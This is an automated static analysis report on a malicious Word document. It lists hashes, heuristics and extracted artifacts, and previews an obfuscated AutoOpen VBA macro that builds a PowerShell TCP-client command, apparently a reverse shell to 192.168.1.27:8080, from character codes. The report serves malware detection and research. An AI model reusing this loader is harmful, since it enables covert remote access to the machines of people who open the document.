Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 07d7943066351a62…

MALICIOUS

Office (OOXML)

25.1 KB Created: 2021-06-09 09:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 96f24329a4e65a46867139171d3afe22 SHA-1: 0777c86d850688389747577e8bc403e13f2e34df SHA-256: 07d7943066351a6218d9e8303fd1e244ce2913490d000ea0fce9383545a0c035
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains an AutoOpen VBA macro that is heavily obfuscated and uses a custom decoder. This macro ultimately constructs and executes a PowerShell command via cmd.exe. The script's intent is to download and execute a second-stage payload, as indicated by the use of Shell() and the obfuscated command construction.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 25674 bytes
SHA-256: 21c41627d159d5809062c2ad552a3682e237c88ff5cffb1b28e8fecae9ba1945
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
    wm (6)
    irgt
End Sub

Sub w1m()
    For i = 0 To 1100000
        DoEvents
    Next i
End Sub
    
Sub wm(ByVal n As Long)
    For i = 0 To n
        w1m
    Next i
End Sub


Sub irgt()
Dim mfkdj As String
    mfkdj = ""
    Dim mskfddj
    mfkdj = mfkdj & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108)
    mfkdj = mfkdj & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(34) & ChrW(32) & ChrW(102)
    mfkdj = mfkdj & ChrW(117) & ChrW(110) & ChrW(99) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(32) & ChrW(99)
    mfkdj = mfkdj & ChrW(108) & ChrW(101) & ChrW(97) & ChrW(110) & ChrW(117) & ChrW(112) & ChrW(32) & ChrW(123) & ChrW(105)
    mfkdj = mfkdj & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110)
    mfkdj = mfkdj & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116)
    mfkdj = mfkdj & ChrW(101) & ChrW(100) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(113) & ChrW(32) & ChrW(36) & ChrW(116)
    mfkdj = mfkdj & ChrW(114) & ChrW(117) & ChrW(101) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(99) & ChrW(108)
    mfkdj = mfkdj & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(108) & ChrW(111) & ChrW(115)
    mfkdj = mfkdj & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32) & ChrW(32) & ChrW(32)
    mfkdj = mfkdj & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(99)
    mfkdj = mfkdj & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(69) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(67)
    mfkdj = mfkdj & ChrW(111) & ChrW(100) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(101) & ChrW(32) & ChrW(36)
    mfkdj = mfkdj & ChrW(110) & ChrW(117) & ChrW(108) & ChrW(108) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(112)
    mfkdj = mfkdj & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(67) & ChrW(108)
    mfkdj = mfkdj & ChrW(111) & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32)
    mfkdj = mfkdj & ChrW(32) & ChrW(32) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59) & ChrW(125) & ChrW(59)
    mfkdj = mfkdj & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32)
    mfkdj = mfkdj & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54)
    mfkdj = mfkdj & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(46) & ChrW(50) & ChrW(55) & ChrW(39) & ChrW(59) & ChrW(36)
    mfkdj = mfkdj & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(56)
    mfkdj = mfkdj & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105)
    mfkdj = mfkdj & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119)
    mfkdj = mfkdj & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(115)
    mfkdj = mfkdj & ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(110) & ChrW(101) & ChrW(116)
    mfkdj = mfkdj & ChrW(46) & ChrW(115) & ChrW(111) & ChrW(99) & ChrW(107) & ChrW(101) & ChrW(116) & ChrW(115) & ChrW(46)
    mfkdj = mfkdj & ChrW(116) & ChrW(99) & ChrW(112) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
    mfkdj = mfkdj & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46)
    mfkdj = mfkdj & ChrW(99) & ChrW(111) & ChrW(110) & Ch
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 41472 bytes
SHA-256: 4766d1ecef382f9e92a5b58de361f37d5073132241d085b422b0278e015d8244
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: 0a881b1dc048d890965f37f9b3bc75ec048edd9f4954a4da981a543af438a01a